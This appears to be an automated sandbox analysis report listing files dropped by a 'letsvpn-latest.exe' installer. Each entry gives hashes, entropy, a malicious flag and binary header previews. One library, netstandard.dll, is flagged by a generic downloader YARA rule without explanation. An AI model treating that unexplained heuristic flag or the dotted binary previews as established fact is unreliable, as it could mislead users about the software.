C:\Program Files (x86)\letsvpn\app-3.7.0\microsoft.identitymodel.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1108968
Entropy (8bit):	5.831773521730096
Encrypted:	false
SSDEEP:	24576:t1WtBetKEfrsial0WV1pqfy+Jp15yKn6GyD:StBetKEfrsial0WV7215yKn6G4
MD5:	7B43C92114F7B7BB57B5AEB2BC7E9344
SHA1:	F36A064C92B1A73048818ED78BD408F441C1BDC5
SHA-256:	4A47C46A9ACDBD5A1DB9ECA17F0453710633B9A85748C45FC83F9B3B09E254D0
SHA-512:	A9A42A65FF2393313FC6F82B13DB8E859AC4B717B729D561B6AE5AD3E90A732DB565D2C3164381E9B66CF72A26158340C81ED0A290D3CA1FE937E5C27DBF2C16
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...&..\...........!......... ......N.... ........@.. ..............................3.....@.....................................W.......0................+..........P................................................ ............... ..H............text...T.... ...................... ..`.rsrc...0...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\app-3.7.0\netstandard.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	93672
Entropy (8bit):	5.518790914667912
Encrypted:	false
SSDEEP:	1536:x2Ec05j4eAH64rh5fSt5T9nFcI94WxAwrxo:glK4eA7mDmWxhK
MD5:	668EAEC427F8A4C3D57E8A580B0E2C73
SHA1:	91EBE1C270DE93C66FA8713675CA3CD595B80909
SHA-256:	EC365F7AFB9B44FC128D6327A17D4A1D1201F34E36ACA5DDF5D8055498BCA96E
SHA-512:	A3DBCEB380621F621722D2B9B2535ECE9AFF950A5038F4F99FCD6BB75F09B3527C2EBA664A4EE4DF3B86B52068E3CB85F84156056D9A155D6BC57D34A6F0C19F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Program Files (x86)\letsvpn\app-3.7.0\netstandard.dll, Author: Joe Security
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...M..Z.........." ..0..8...........U... ...`....... ....................................@..................................U..O....`..,............B...+........................................................... ............... ..H............text....6... ...8.................. ..`.rsrc...,....`.......:..............@..@.reloc...............@..............@..B.................U......H.......P ...4..................,U......................................BSJB............v4.0.30319......l...\|...#~.....d...#Strings....L3......#US.T3......#GUID...d3..x...#Blob......................3................................q.....2B........e$.M...,.M.....M...4.M...1.M...1.M..v..M....M....M....p...........................!.....).....1.....9.....A.....I.................................#.......+.......3.......;.J.....C.f.....K.f...................2.....................

C:\Program Files (x86)\letsvpn\app-3.7.0\pl\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20456
Entropy (8bit):	6.786590669634782
Encrypted:	false
SSDEEP:	384:cnss4wvEmF+4wpwlU+nACUOWe6lWAqpwKANynsAw/98E9VF3AM+oN2am:cn/PArHAw/KENAMxQB
MD5:	A034D19DDC69D985BC6E6F4542258CB6
SHA1:	57F1A9AEB02522379AD005C2F3064E6BA0AAEB9C
SHA-256:	47DC867FAA75E90302A764CCB8E309008CD24FE3AED89AD2FE2AE69FC6A199A0
SHA-512:	74C4A4AEF3650786791495A2D1023829A92872E80DAB5206AD6C0C489E759C73544263C202342A959A6E7D8BF374B3DBFAAD7AC915ACF861236B7838B7A9B203
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...I............." ..0..............9... ...@....... ....................................@.................................x9..O....@...............$...+...`......\9............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B.................9......H.......P ...............%.......8......................................BSJB............v4.0.30319......l...D...#~...... ...#Strings............#US.........#GUID...........#Blob......................3......................................,.......................u...........].....].....]...A.]...^.].....]...*.].................o.....o.....o...).o...1.o...9.o...A.o...I.o...Q.o...Y.o.......................#.....+.....3.@...;.e...C.y...K.....S.@.....................Z.............

C:\Program Files (x86)\letsvpn\app-3.7.0\pt-BR\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20456
Entropy (8bit):	6.711860474257598
Encrypted:	false
SSDEEP:	384:MqXQfVeSN32XFZWe6lW0UZpwKANynsAw/98E9VF3AM+oqTthC:Mg0Vyig4Aw/KENAMxGI
MD5:	816AA76B470505EB57B1AC780CC938AF
SHA1:	2DCD6B287BBA995086874D676D3A5816FE3376BF
SHA-256:	DAC4959224188439661696FF3BEA86B1C20F172F4E60358EE60522F21F5FC1F9
SHA-512:	F29D4490429AB8EE05186BC198F89A4495D20681D39CD8FAB027678FBABE26FB7EFFD48D0AD60388B87FFA93A2EFAE99757B394515F93FD439FA0F501116C538
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...m............." ..0.............V9... ...@....... ..............................(W....@..................................9..O....@...............$...+...`.......8............................................... ............... ..H............text...\.... ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................89......H.......P ...............%......h8......................................BSJB............v4.0.30319......l...D...#~......$...#Strings............#US.........#GUID...........#Blob......................3......................................2.......................x...........`.....`.....`...G.`...d.`.....`...0.`.................r.....r.....r...).r...1.r...9.r...A.r...I.r...Q.r...Y.r.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

C:\Program Files (x86)\letsvpn\app-3.7.0\ru\LetsPRO.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	76776
Entropy (8bit):	5.911997633120142
Encrypted:	false
SSDEEP:	1536:wzaor6WtGrIHOHfufUGBLR+gP8874zGgSmj40sqXz2RgUgmcAwrxVgq:kHBV+gP8874zGgSmjwqXz2RgUgmchsq
MD5:	3575DE62FE6E8E298CF383F0C207B6BB
SHA1:	D2C575E4269C6481A83B3569CF9CEA9616B1454E
SHA-256:	09A9C121C4333EB77A371A58B21EFE009280FAD654BA4E0283ABD81DA7F9217B
SHA-512:	4A145A4369C95FE863F99A35109940C7186DABF7DD9DFC56A150E6923C19C9DD646E875A9AB85FAF3DC90359323BD0CFB73C8DF83B150B432440ED32F6B0DC45
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....};f...........!................^.... ... ....... .......................`......y4....@.....................................O.... ...................+...@....................................................... ............... ..H............text...d.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................@.......H...........$...........P .............................................................lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP.S9.a.......dx.4.E.:.....u..n."..iP...T..:K..c7... ..n......Mn...~..*k;.E....J.[..H.......1..&...+.@..s.............7.Tk[......ue./.N..:...v....F.b.b.S^m.........pE...k....D.../L.e..-...<r.......a...........

C:\Program Files (x86)\letsvpn\app-3.7.0\ru\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21992
Entropy (8bit):	6.747265377557041
Encrypted:	false
SSDEEP:	384:A8knfHjuXOQWe6lWddpwKANynsAw/98E9VF3AM+oh1r57:ZAuXO1BAw/KENAMx/57
MD5:	A000E17C48AFF375A9D5DAE4637E6D9C
SHA1:	31B1589DA8BD4E84FB9F4D3F67905A0361189B85
SHA-256:	E033AD89A82E6EF1CCB82270C98A7D899E93386F8566F6D662ABA1241B0D46AE
SHA-512:	626C30E90E9EDBB73A07D1DBC16919BC39B2A46E249B17A1D8D188A315D3733B1CDA2F0C4689DF68B7D1B5FD7EFF2799CAC4989E32885FB65BF1ADF1B84E1F98
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...(............." ..0.. ...........>... ...@....... ....................................@..................................>..O....@..................+...`.......>............................................... ............... ..H............text........ ... .................. ..`.rsrc........@......."..............@..@.reloc.......`.......(..............@..B.................>......H.......P ...............%..8....>......................................BSJB............v4.0.30319......l...D...#~...... ...#Strings............#US.........#GUID...........#Blob......................3......................................,.......................r...........Z.....Z.....Z...A.Z...^.Z.....Z....Z.................l.....l.....l...).l...1.l...9.l...A.l...I.l...Q.l...Y.l.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-arm\native\e_sqlite3.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) ARMv7 Thumb, for MS Windows
Category:	dropped
Size (bytes):	905704
Entropy (8bit):	7.13132834632752
Encrypted:	false
SSDEEP:	24576:KoXErM5iD28EYQg502GXoU5C0ParRvbLhP:zXriD28xj52X7arp5
MD5:	785ADFB1D1268995620F5F2B8E8D00EE
SHA1:	A54E349EE1DE7BCD57B239D61B8ED714F3471778
SHA-256:	7873A0DE5DADE79E12899A20D8218FAE100110FFBCA0F516E8249B7F528DF3AE
SHA-512:	A52BB4C7D3446394706692F71A8F77D493DA2AEE356520BF1B10A2BCCDEEA24D8DD6BA227C1152D56732C52F03DA8014E9B15966E4092DEF2753A4C90BF50F9C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......`^ .$?N.$?N.$?N..WK..?N..WJ.?N..WO.'?N.$?O..?N.%RK.9?N.%RJ.)?N.%RM.?N..RJ.&?N..RN.%?N..R..%?N..RL.%?N.Rich$?N.........PE........^.........."!........................ ......................................R.....@A............................"......(............@..hO.......+.......?..0l..T............................l............... ...............................text............................... ..`.rdata..B.... ......................@..@.data...<J.......>..................@....pdata..hO...@...P..................@..@.rsrc................d..............@..@.reloc...?.......@...f..............@..B........................................................................................................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-x64\native\e_sqlite3.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1314280
Entropy (8bit):	6.546943837506406
Encrypted:	false
SSDEEP:	24576:dwDD7AuRNZxBNzFlbZcN16AL9hwYi20TAg7wkPL3:dIDbR1L/m9KYixcW7
MD5:	938A6FE5476FCEE6EA9E84989ACE173C
SHA1:	A73BA1BA2E14E7BD63511A9117537B27D3830193
SHA-256:	CB5CA40D259E44F3EB81F91C1662F7FFED539460DC6850EDB13207D3F4BDB878
SHA-512:	05C0035DC84BBD1E35391B0C3E52F93EE03629BEAB7095A3E1A854D8CC1A689ED789FA78370CD3424B4783F4EE04EFF883AEDA10CDCB474CFB99BCDCDD04B00D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.[.~.5.~.5.~.5.%.1.u.5.%.6.v.5.%.0...5.%.4.}.5.~.4...5...0.`.5...1.p.5...6.v.5..1.\|.5..5...5......5..7...5.Rich~.5.........PE..d.....^.........." ................P........................................P......z.....`A........................................ ...."..(...(.... .......@..h........+...0..........T............................................................................text............................... ..`.rdata..............................@..@.data....i.......T..................@....pdata..h....@......................@..@_RDATA..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-x86\native\e_sqlite3.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1029608
Entropy (8bit):	6.749777649807674
Encrypted:	false
SSDEEP:	24576:rBvdKGB6hOsMxCmy+rAnpyAqhTz3RzVNUOxKKoSQd:NvdKGBmWNAnpc3Rz1KKoS8
MD5:	EE9E953ADF3EC9EEBA38CB55A5F3DC52
SHA1:	9FE2E4C80D731131A3284E4C22C137CFC669CF55
SHA-256:	78B7CBE99FFA1BF2DEFBE87FD219246DA55F5A677D7E60453A0EA3CF91F2D2A3
SHA-512:	554F0FCFA4181E243BF52015075498A17E2498623860F0BFAEA81BDD4F94286EDC69F43E1E6B164052040E3D1872A5718501EC8F877B0C5888370714555A91A4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........E......................#.....................2...........................z.......z.......z.......z.......Rich............................PE..L.....^...........!.....R...B..............p......................................pQ....@A........................ ...."..(...(....`...................+...p...\......T...........................(...@............p...............................text....Q.......R.................. ..`.rdata..z....p.......V..............@..@.data....K.......>..................@....rsrc........`.......*..............@..@.reloc...\...p...^...,..............@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\app-3.7.0\tr\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20456
Entropy (8bit):	6.6984022574942355
Encrypted:	false
SSDEEP:	384:ffH3xC8M83We6lWnTpwKANynsAw/98E9VF3AM+otxJTFXG:3c8M8YFAw/KENAMxrrG
MD5:	91AE72A8E53FA3669B56FE855EE217EB
SHA1:	3C15EFF5FB84420548FE9F162BF22E5AA775BB0C
SHA-256:	CAD300B595907682762CC2EBAF9C856F54A37D4373A6D96A5FF1C6113532179F
SHA-512:	EDC220CAD9A55F724BA43912D89F22CDAE56BDFC65A3E19040E54FCCB82443C532516FC585409CCE4496116D656B345420CCC737BBD0FB880A4BBB39A5B8D210
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...S............." ..0.............J8... ...@....... ..............................AY....@..................................7..O....@...............$...+...`.......7............................................... ............... ..H............text...P.... ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................,8......H.......P ...............%......\7......................................BSJB............v4.0.30319......l...D...#~...... ...#Strings............#US.........#GUID...........#Blob......................3......................................,.......................u...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................l.....l.....l...).l...1.l...9.l...A.l...I.l...Q.l...Y.l.......................#.....+.....3.@...;.e...C.y...K.....S.@.....................r.............

C:\Program Files (x86)\letsvpn\app-3.7.0\x64\WebView2Loader.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	138728
Entropy (8bit):	6.191078705692302
Encrypted:	false
SSDEEP:	3072:yqMrTPTNy56J4JQSfB6yRkkGvaYhfls6DREtfw6aQ59hc:yNPTQ6Ga+BtakGvVEtCOhc
MD5:	30FCCFBD9F0988ADA9C87072C565F1C5
SHA1:	98D75EBCBAF23A4914CD475C14918432C89C7F92
SHA-256:	F65A5AF7997ED93583243C245237C09A088D00C63268287CDCC05028A9BDF57A
SHA-512:	BBF9F0F9CD33631F2A548F367F5BDDCFCAF58EA3391A327FE0B3A2FE88AEAE86F093B91BFF9BF0B9B7010240D2DF2EC6EDA3AEF0DED1BB14FF39A29E51938226
Malicious:	false
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......`.........." ................P9.......................................p............`A........................................G.......9...(....P...................+...`......D...........................(....1..0..................8........................text............................... ..`.rdata.......0......................@..@.data...............................@....pdata..............................@..@.00cfg..(.... ......................@..@.tls.........0......................@..._RDATA.......@......................@..@.rsrc........P......................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\app-3.7.0\x86\WebView2Loader.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	112616
Entropy (8bit):	6.526884991962997
Encrypted:	false
SSDEEP:	3072:hlzhJmad5M+ekPfJFVwKrSDnuP7HCt+/NyIDfEtPsn/j481Jhc:hlzqaHM+eCTrSDuP7ZbEtUnr51Jhc
MD5:	065E6B499AA4E746E189A763A62FDD36
SHA1:	A053AE3E8D86A8399E689E76614412112EC67DA7
SHA-256:	10335A1F61B0C6DEBCAE682DCA6E456CF515C744A70B3E63A21E9577ADA11317
SHA-512:	EE40EE00536A806053DBC09498F70699988D90B0466E26D4B842D2D04A5FFB9F550329B0431B432258CFE3D20D13C4ED6D426734B3713C2931E589DB253B5DF9
Malicious:	false
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......`.........."!.................4....................................................@A.........................k.......l..(........................+......L...Ph.......................f......`...............8n..8....i.......................text...e........................... ..`.rdata...k.......l..................@..@.data................d..............@....00cfg...............n..............@..@.tls.................p..............@....voltbl.H............r...................rsrc................t..............@..@.reloc..L............z..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\app-3.7.0\zh-CN\LetsPRO.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	58856
Entropy (8bit):	6.2824901287107195
Encrypted:	false
SSDEEP:	768:J0/zwwtNGdrRXT6oqSvMGG4f0euQnlt41BOUAw/KENAMxJh:Yzwe+1eoqaO4f05+ltFUAwrxf
MD5:	6E6BB5F1812895826B6EBB85864D1183
SHA1:	AB6F508FBE8E52C3E573139554910378EDD3CEB9
SHA-256:	A596ABADAFFDE49030BD28C86DDD49659DE89FBC491E129F571FDE161D2436E3
SHA-512:	0A2897B21C74F019EC93CB889BEC7556F46485C6E86C70A1FD996BA22EB4DC4CA414DD6921A1C53F3C57F5890EB5F5F16F7009327631A83CF2A605DB5F6A959D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....};f...........!..................... ........... ....................... ............@.....................................S........................+........................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......p...(...........P .............................................................lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP.S9.a.......dx.4.E.:.....u..n."..iP...T..:K..c7... ..n......Mn...~..*k;.E....J.[..H.......1..&...+.@..s.............7.Tk[......ue./.N..:...v....F.b.b.S^m.........pE...k....D.../L.e..-...<r.......a...........

C:\Program Files (x86)\letsvpn\app-3.7.0\zh-HK\LetsPRO.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	59368
Entropy (8bit):	6.250778881491314
Encrypted:	false
SSDEEP:	768:10/zwwmSLGdKS2BUk1GXjgCEbOZ6zpcO+6jcHyYqwAw/KENAMxR5:EzweIKf+kyjgC2U++OcHWwAwrxR5
MD5:	0ED1039C803117E7F1EE77A66E39032C
SHA1:	E37C7D215FD6404932B7E09528CE47978E4E6B3A
SHA-256:	B1C02DE95565AF3026675B4DDB224EB976EB244F8F814F7413758A02ABA99A04
SHA-512:	711B678F342F8231E1F2AC6D58E608DDB8382246BDCA98F22B40667B0132753C9D9A7B3FA6681D48168A7162C2654BC00E7336FBF4BC6C0BF9E79950A6407336
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....};f...........!..................... ........... ....................... .......a....@.....................................W........................+........................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H...........(...........P ..J...........................................F..............lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP.S9.a.......dx.4.E.:.....u..n."..iP...T..:K..c7... ..n......Mn...~..*k;.E....J.[..H.......1..&...+.@..s.............7.Tk[......ue./.N..:...v....F.b.b.S^m.........pE...k....D.../L.e..-...<r.......a...........

C:\Program Files (x86)\letsvpn\app-3.7.0\zh-Hans\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	19944
Entropy (8bit):	6.9192612268553875
Encrypted:	false
SSDEEP:	384:GX3HhVhLu4y8VWe6lW+GpwKANynsAw/98E9VF3AM+op1ZT+9:E3h/aVAw/KENAMxTdG
MD5:	B2DAD50023AB7A545088F2807A312AC8
SHA1:	C4FED772FB95B1DCC416ABA1B1944CD1801B95BB
SHA-256:	D82DA0613998ABF7F3833F8F53177D0D478E8A7CF958A60D22589BEDC1BDD6EF
SHA-512:	2AE415C4DA40453CF9D18B2BC36A6478C073E17E5F36A029A9936D88AF346F00C563BC7FF4D1DFD6211A1D09603E6AD4EE36719A63DCB5F918115FD7DC1136DC
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....R]..........." ..0..............7... ...@....... ....................................@.................................h7..O....@..............."...+...`......L7............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`....... ..............@..B.................7......H.......P ...............%.......6......................................BSJB............v4.0.30319......l...D...#~......(...#Strings............#US.........#GUID...........#Blob......................3......................................,.......................r...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................l.....l.....l...).l...1.l...9.l...A.l...I.l...Q.l...Y.l.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

C:\Program Files (x86)\letsvpn\app-3.7.0\zh-Hant\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	19944
Entropy (8bit):	6.91886497267212
Encrypted:	false
SSDEEP:	384:D/wkIv2FCcTWe6lWW/pwKANynsAw/98E9VF3AM+oLPaDft3J:jgdUAw/KENAMxLExJ
MD5:	A98A381BDBB31FA9E36425006F7BE384
SHA1:	8275B6074DEF0CA3AC0A80537C413B7D0504316F
SHA-256:	6400DEBDBA363394415FD453A2506B917BCE25671F63B064D278E1C04725B120
SHA-512:	97FA4D6FD6857F7B52CF76A9E08E66B6A9110B84455ED5DAAC9E538D96030242A1FA17CA397D2BEFF74FB06F2226D7050C6FB06B5D45C5C7EF1FE47EE95E2BDA
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....L............" ..0..............7... ...@....... ....................................@.................................`7..O....@..............."...+...`......D7............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`....... ..............@..B.................7......H.......P ...............%.......6......................................BSJB............v4.0.30319......l...D...#~......(...#Strings............#US.........#GUID...........#Blob......................3......................................,.......................r...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................l.....l.....l...).l...1.l...9.l...A.l...I.l...Q.l...Y.l.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

C:\Program Files (x86)\letsvpn\app-3.7.0\zh-MO\LetsPRO.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	59368
Entropy (8bit):	6.25029903248847
Encrypted:	false
SSDEEP:	768:y0/zwwmSLGdKS2BUk1GXjgCEbOZ6zpcO+6jcHyLqeAw/KENAMxcSK:fzweIKf+kyjgC2U++OcH5eAwrxcSK
MD5:	C2D1CD0877E5B4B8B1155EA9438D0696
SHA1:	F6C80160ED25F1F31775AF663135A2550457EE73
SHA-256:	CDE72E846C830CE5EE7CFD7E79DC9BB9D4C5EC2518714A8A528B90B2DBD8940F
SHA-512:	80FB5EF3A3B3DD63541E88446BB9C1BA11847456B4CE34C59CE789209F0FD999D88FED2FBCC2EB07443A883A151CB71343FC49101D06A2A94AA9FA853C1B79F4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....};f...........!..................... ........... ....................... .......2....@.....................................W........................+........................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H...........(...........P ..J...........................................F..............lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP.S9.a.......dx.4.E.:.....u..n."..iP...T..:K..c7... ..n......Mn...~..*k;.E....J.[..H.......1..&...+.@..s.............7.Tk[......ue./.N..:...v....F.b.b.S^m.........pE...k....D.../L.e..-...<r.......a...........

C:\Program Files (x86)\letsvpn\app-3.7.0\zh-SG\LetsPRO.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	58856
Entropy (8bit):	6.2826634461561195
Encrypted:	false
SSDEEP:	768:X0/zwwtNGdrRXT6oqSvMGG4f0euQnlt41UOdAw/KENAMxFn:Ozwe+1eoqaO4f05+lt8dAwrxFn
MD5:	81F516B83BEA344D14C88055FC274B42
SHA1:	DA54E97A3C85996452A7A7E8BD1EC05A688605ED
SHA-256:	FA1A4A6D892C10B223671BBF06616222CDF03647DEE7CEAD3CB9C3FE8659C039
SHA-512:	9CBF4DBC80661EFC9D48EFC608DA88B8B613E145D4ED8E81AD21DB0E80EEBA55F138C8CB99C2444C8AE509DC82721C3FD48654B8D3D9EFE3D122CE7D582C7D84
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....};f...........!..................... ........... ....................... ......G.....@.....................................S........................+........................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......p...(...........P .............................................................lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP.S9.a.......dx.4.E.:.....u..n."..iP...T..:K..c7... ..n......Mn...~..*k;.E....J.[..H.......1..&...+.@..s.............7.Tk[......ue./.N..:...v....F.b.b.S^m.........pE...k....D.../L.e..-...<r.......a...........

C:\Program Files (x86)\letsvpn\app-3.7.0\zh-TW\LetsPRO.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	59368
Entropy (8bit):	6.251445115242629
Encrypted:	false
SSDEEP:	768:C0/zwwmSLGdKS2BUk1GXjgCEbOZ6zpcO+6jcHy3qCAw/KENAMxW:vzweIKf+kyjgC2U++OcHJCAwrxW
MD5:	9A1E323CA028F5F6D7395B69181001F3
SHA1:	9D7D1EA76A24D0153F13D866BF1A73138E9742E4
SHA-256:	FE39DEB6FC7FE9900B92A4F258942D46AB61A9D2BFE81D768814EFBAEA048D76
SHA-512:	5BD56A2860B5F88B00342A8707D80D2D8C1143888A190D2C8CF8CDB9D43469E52172DDA326E54A4CCBD325A9FCAB5B80982B0E2145EE05A20D4CB3ED1845AB9B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....};f...........!..................... ........... ....................... ......b.....@.....................................W........................+........................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H...........(...........P ..J...........................................F..............lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP.S9.a.......dx.4.E.:.....u..n."..iP...T..:K..c7... ..n......Mn...~..*k;.E....J.[..H.......1..&...+.@..s.............7.Tk[......ue./.N..:...v....F.b.b.S^m.........pE...k....D.../L.e..-...<r.......a...........

C:\Program Files (x86)\letsvpn\driver\OemVista.inf

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	7632
Entropy (8bit):	5.063558190257152
Encrypted:	false
SSDEEP:	192:wr8tW9yCTi3x4vlQd22bjR+iAUC7bMP+io3DcNSj6jvKFkPs7EQTXvt1Ld4Z:LWlGNdkkzo3DcNSj6jvKFkPs7EQTXvtk
MD5:	26009F092BA352C1A64322268B47E0E3
SHA1:	E1B2220CD8DCAEF6F7411A527705BD90A5922099
SHA-256:	150EF8EB07532146F833DC020C02238161043260B8A565C3CFCB2365BAD980D9
SHA-512:	C18111982CA233A7FC5D1E893F9BD8A3ED739756A47651E0638DEBB0704066AF6B25942C7961CDEEDF953A206EB159FE50E0E10055C40B68EB0D22F6064BB363
Malicious:	false
Preview:	; ***************************************************************************..; Copyright (C) 2002-2014 OpenVPN Technologies, Inc. ..; This program is free software; you can redistribute it and/or modify ..; it under the terms of the GNU General Public License version 2 ..; as published by the Free Software Foundation. ..; *************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*******************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

